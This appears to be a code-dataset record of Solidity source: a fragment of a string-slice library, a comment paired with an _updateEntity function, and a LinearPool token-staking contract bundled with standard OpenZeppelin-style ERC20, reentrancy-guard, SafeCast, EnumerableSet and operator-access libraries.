self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string memory self) internal pure returns (slice memory) { uint256 ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns true if `self` starts with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function startsWith(slice memory self, slice memory needle) internal pure returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq( keccak256(selfptr, length), keccak256(needleptr, length) ) } return equal; } }
we can change only metadataUri
function _updateEntity( EntityType type_, mapping(address => Entity) storage entityMap, address addr, string memory metadataUri ) internal exists(entityMap, addr) { Entity storage entity = entityMap[addr]; entity.metadataUri = metadataUri; emit EntityUpdated(type_, addr, entity.name, entity.metadataUri); }
6,432,417
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/math/SafeCast.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "../utils/Operators.sol"; contract LinearPool is Operators, ReentrancyGuard { using SafeERC20 for IERC20; using SafeCast for uint256; using EnumerableSet for EnumerableSet.UintSet; uint64 private constant ONE_YEAR_IN_SECONDS = 365 days; // maximum 35 days delay uint64 public constant LINEAR_MAXIMUM_DELAY_DURATION = 35 days; // The accepted token IERC20 public linearAcceptedToken; // The reward distribution address address public linearRewardDistributor; // Info of each pool LinearPoolInfo[] public linearPoolInfo; // Info of each user that stakes in pools mapping(uint256 => mapping(address => LinearStakingData)) public linearStakingData; // Info of pending withdrawals. mapping(uint256 => mapping(address => LinearPendingWithdrawal)) public linearPendingWithdrawals; // The flexible lock duration. Users who stake in the flexible pool will be affected by this uint256 public linearFlexLockDuration; // Allow emergency withdraw feature bool public linearAllowEmergencyWithdraw; event LinearPoolCreated(uint256 indexed poolId, uint256 APR); event LinearDeposit( uint256 indexed poolId, address indexed account, uint256 amount ); event LinearWithdraw( uint256 indexed poolId, address indexed account, uint256 amount ); event LinearRewardsHarvested( uint256 indexed poolId, address indexed account, uint256 reward ); event LinearPendingWithdraw( uint256 indexed poolId, address indexed account, uint256 amount ); event LinearEmergencyWithdraw( uint256 indexed poolId, address indexed account, uint256 amount ); struct LinearPoolInfo { uint256 cap; uint256 totalStaked; uint256 minInvestment; uint256 maxInvestment; uint256 APR; uint256 lockDuration; uint256 delayDuration; uint64 startJoinTime; uint64 endJoinTime; } struct LinearStakingData { uint256 balance; uint256 joinTime; uint256 updatedTime; uint256 reward; } struct LinearPendingWithdrawal { uint256 amount; uint256 applicableAt; } /** * @notice constructor the contract, get called in the first time deploy * @param _acceptedToken the token that the pools will use as staking and reward token */ constructor(IERC20 _acceptedToken) Ownable() { linearAcceptedToken = _acceptedToken; } /** * @notice Validate pool by pool ID * @param _poolId id of the pool */ modifier linearValidatePoolById(uint256 _poolId) { require( _poolId < linearPoolInfo.length, "LinearStakingPool: Pool are not exist" ); _; } /** * @notice Return total number of pools */ function linearPoolLength() external view returns (uint256) { return linearPoolInfo.length; } /** * @notice Return total tokens staked in a pool * @param _poolId id of the pool */ function linearTotalStaked(uint256 _poolId) external view linearValidatePoolById(_poolId) returns (uint256) { return linearPoolInfo[_poolId].totalStaked; } /** * @notice Add a new pool with different APR and conditions. Can only be called by the owner. * @param _cap the maximum number of staking tokens the pool will receive. If this limit is reached, users can not deposit into this pool. * @param _minInvestment the minimum investment amount users need to use in order to join the pool. * @param _maxInvestment the maximum investment amount users can deposit to join the pool. * @param _APR the APR rate of the pool. * @param _lockDuration the duration users need to wait before being able to withdraw and claim the rewards. * @param _delayDuration the duration users need to wait to receive the principal amount, after unstaking from the pool. * @param _startJoinTime the time when users can start to join the pool. It's zero means user able to join anytime. * @param _endJoinTime the time when users can no longer join the pool */ function linearAddPool( uint256 _cap, uint256 _minInvestment, uint256 _maxInvestment, uint256 _APR, uint256 _lockDuration, uint256 _delayDuration, uint64 _startJoinTime, uint64 _endJoinTime ) external onlyOperator { require( _endJoinTime >= block.timestamp && _endJoinTime > _startJoinTime, "LinearStakingPool: invalid end join time" ); require( _delayDuration <= LINEAR_MAXIMUM_DELAY_DURATION, "LinearStakingPool: delay duration is too long" ); linearPoolInfo.push( LinearPoolInfo({ cap: _cap, totalStaked: 0, minInvestment: _minInvestment, maxInvestment: _maxInvestment, APR: _APR, lockDuration: _lockDuration, delayDuration: _delayDuration, startJoinTime: _startJoinTime, endJoinTime: _endJoinTime }) ); emit LinearPoolCreated(linearPoolInfo.length - 1, _APR); } /** * @notice Update the given pool's info. Can only be called by the owner. * @param _poolId id of the pool * @param _cap the maximum number of staking tokens the pool will receive. If this limit is reached, users can not deposit into this pool. * @param _minInvestment minimum investment users need to use in order to join the pool. * @param _maxInvestment the maximum investment amount users can deposit to join the pool. * @param _APR the APR rate of the pool. * @param _endJoinTime the time when users can no longer join the pool */ function linearSetPool( uint256 _poolId, uint256 _cap, uint256 _minInvestment, uint256 _maxInvestment, uint256 _APR, uint64 _endJoinTime ) external onlyOperator linearValidatePoolById(_poolId) { LinearPoolInfo storage pool = linearPoolInfo[_poolId]; require( _endJoinTime >= block.timestamp && _endJoinTime > pool.startJoinTime, "LinearStakingPool: invalid end join time" ); linearPoolInfo[_poolId].cap = _cap; linearPoolInfo[_poolId].minInvestment = _minInvestment; linearPoolInfo[_poolId].maxInvestment = _maxInvestment; linearPoolInfo[_poolId].APR = _APR; linearPoolInfo[_poolId].endJoinTime = _endJoinTime; } /** * @notice Set the flexible lock time. This will affects the flexible pool. Can only be called by the owner. * @param _flexLockDuration the minimum lock duration */ function linearSetFlexLockDuration(uint256 _flexLockDuration) external onlyOperator { require( _flexLockDuration <= LINEAR_MAXIMUM_DELAY_DURATION, "LinearStakingPool: flexible lock duration is too long" ); linearFlexLockDuration = _flexLockDuration; } /** * @notice Set the reward distributor. Can only be called by the owner. * @param _linearRewardDistributor the reward distributor */ function linearSetRewardDistributor(address _linearRewardDistributor) external onlyOwner { require( _linearRewardDistributor != address(0), "LinearStakingPool: invalid reward distributor" ); linearRewardDistributor = _linearRewardDistributor; } /** * @notice Set the approval amount of distributor. Can only be called by the owner. * @param _amount amount of approval */ function linearApproveSelfDistributor(uint256 _amount) external onlyOwner { require( linearRewardDistributor == address(this), "LinearStakingPool: distributor is difference pool" ); linearAcceptedToken.safeApprove(linearRewardDistributor, _amount); } /** * @notice Deposit token to earn rewards * @param _poolId id of the pool * @param _amount amount of token to deposit */ function linearDeposit(uint256 _poolId, uint256 _amount) external nonReentrant linearValidatePoolById(_poolId) { address account = msg.sender; _linearDeposit(_poolId, _amount, account); linearAcceptedToken.safeTransferFrom(account, address(this), _amount); emit LinearDeposit(_poolId, account, _amount); } /** * @notice Claim pending withdrawal * @param _poolId id of the pool */ function linearClaimPendingWithdraw(uint256 _poolId) external nonReentrant linearValidatePoolById(_poolId) { address account = msg.sender; LinearPendingWithdrawal storage pending = linearPendingWithdrawals[ _poolId ][account]; uint256 amount = pending.amount; require(amount > 0, "LinearStakingPool: nothing is currently pending"); require( pending.applicableAt <= block.timestamp, "LinearStakingPool: not released yet" ); delete linearPendingWithdrawals[_poolId][account]; linearAcceptedToken.safeTransfer(account, amount); emit LinearWithdraw(_poolId, account, amount); } /** * @notice Withdraw token from a pool * @param _poolId id of the pool * @param _amount amount to withdraw */ function linearWithdraw(uint256 _poolId, uint256 _amount) external nonReentrant linearValidatePoolById(_poolId) { address account = msg.sender; LinearPoolInfo storage pool = linearPoolInfo[_poolId]; LinearStakingData storage stakingData = linearStakingData[_poolId][ account ]; uint256 lockDuration = pool.lockDuration > 0 ? pool.lockDuration : linearFlexLockDuration; require( block.timestamp >= stakingData.joinTime + lockDuration, "LinearStakingPool: still locked" ); require( stakingData.balance >= _amount, "LinearStakingPool: invalid withdraw amount" ); _linearClaimReward(_poolId); stakingData.balance -= _amount; pool.totalStaked -= _amount; if (pool.delayDuration == 0) { linearAcceptedToken.safeTransfer(account, _amount); emit LinearWithdraw(_poolId, account, _amount); return; } LinearPendingWithdrawal storage pending = linearPendingWithdrawals[ _poolId ][account]; pending.amount += _amount; pending.applicableAt = block.timestamp + pool.delayDuration; } /** * @notice Claim reward token from a pool * @param _poolId id of the pool */ function linearClaimReward(uint256 _poolId) external nonReentrant linearValidatePoolById(_poolId) { _linearClaimReward(_poolId); } /** * @notice Gets number of reward tokens of a user from a pool * @param _poolId id of the pool * @param _account address of a user * @return reward earned reward of a user */ function linearPendingReward(uint256 _poolId, address _account) public view linearValidatePoolById(_poolId) returns (uint256 reward) { LinearPoolInfo storage pool = linearPoolInfo[_poolId]; LinearStakingData storage stakingData = linearStakingData[_poolId][ _account ]; uint256 startTime = stakingData.updatedTime > 0 ? stakingData.updatedTime : block.timestamp; uint256 endTime = block.timestamp; //** Allow unstaking while keep counting reward, so comment these code */ // if ( // pool.lockDuration > 0 && // stakingData.joinTime + pool.lockDuration < block.timestamp // ) { // endTime = stakingData.joinTime + pool.lockDuration; // } uint256 stakedTimeInSeconds = endTime > startTime ? endTime - startTime : 0; uint256 pendingReward = ((stakingData.balance * stakedTimeInSeconds * pool.APR) / ONE_YEAR_IN_SECONDS) / 100; reward = stakingData.reward + pendingReward; } /** * @notice Gets number of deposited tokens in a pool * @param _poolId id of the pool * @param _account address of a user * @return total token deposited in a pool by a user */ function linearBalanceOf(uint256 _poolId, address _account) external view linearValidatePoolById(_poolId) returns (uint256) { return linearStakingData[_poolId][_account].balance; } /** * @notice Update allowance for emergency withdraw * @param _shouldAllow should allow emergency withdraw or not */ function linearSetAllowEmergencyWithdraw(bool _shouldAllow) external onlyOperator { linearAllowEmergencyWithdraw = _shouldAllow; } /** * @notice Withdraw without caring about rewards. EMERGENCY ONLY. * @param _poolId id of the pool */ function linearEmergencyWithdraw(uint256 _poolId) external nonReentrant linearValidatePoolById(_poolId) { require( linearAllowEmergencyWithdraw, "LinearStakingPool: emergency withdrawal is not allowed yet" ); address account = msg.sender; LinearStakingData storage stakingData = linearStakingData[_poolId][ account ]; require( stakingData.balance > 0, "LinearStakingPool: nothing to withdraw" ); uint256 amount = stakingData.balance; stakingData.balance = 0; stakingData.reward = 0; stakingData.updatedTime = block.timestamp; linearAcceptedToken.safeTransfer(account, amount); emit LinearEmergencyWithdraw(_poolId, account, amount); } function _linearDeposit( uint256 _poolId, uint256 _amount, address account ) internal { LinearPoolInfo storage pool = linearPoolInfo[_poolId]; LinearStakingData storage stakingData = linearStakingData[_poolId][ account ]; require( block.timestamp >= pool.startJoinTime, "LinearStakingPool: pool is not started yet" ); require( block.timestamp <= pool.endJoinTime, "LinearStakingPool: pool is already closed" ); require( stakingData.balance + _amount >= pool.minInvestment, "LinearStakingPool: insufficient amount" ); if (pool.maxInvestment > 0) { require( stakingData.balance + _amount <= pool.maxInvestment, "LinearStakingPool: too large amount" ); } if (pool.cap > 0) { require( pool.totalStaked + _amount <= pool.cap, "LinearStakingPool: pool is full" ); } _linearHarvest(_poolId, account); stakingData.balance += _amount; stakingData.joinTime = block.timestamp; pool.totalStaked += _amount; } function _linearClaimReward(uint256 _poolId) internal { address account = msg.sender; LinearStakingData storage stakingData = linearStakingData[_poolId][ account ]; _linearHarvest(_poolId, account); if (stakingData.reward > 0) { require( linearRewardDistributor != address(0), "LinearStakingPool: invalid reward distributor" ); uint256 reward = stakingData.reward; stakingData.reward = 0; linearAcceptedToken.safeTransferFrom( linearRewardDistributor, account, reward ); emit LinearRewardsHarvested(_poolId, account, reward); } } function _linearHarvest(uint256 _poolId, address _account) private { LinearStakingData storage stakingData = linearStakingData[_poolId][ _account ]; stakingData.reward = linearPendingReward(_poolId, _account); stakingData.updatedTime = block.timestamp; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract Operators is Ownable { using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet operators; event OperatorsAdded(address[] _operators); event OperatorsRemoved(address[] _operators); constructor() {} modifier onlyOperator() { require( isOperator(_msgSender()) || (owner() == _msgSender()), "caller is not operator" ); _; } function addOperators(address[] calldata _operators) public onlyOwner { for (uint256 i = 0; i < _operators.length; i++) { operators.add(_operators[i]); } emit OperatorsAdded(_operators); } function removeOperators(address[] calldata _operators) public onlyOwner { for (uint256 i = 0; i < _operators.length; i++) { operators.remove(_operators[i]); } emit OperatorsRemoved(_operators); } function isOperator(address _operator) public view returns (bool) { return operators.contains(_operator); } function numberOperators() public view returns (uint256) { return operators.length(); } function operatorAt(uint256 i) public view returns (address) { return operators.at(i); } function getAllOperators() public view returns (address[] memory _operators) { _operators = new address[](operators.length()); for (uint256 i = 0; i < _operators.length; i++) { _operators[i] = operators.at(i); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which 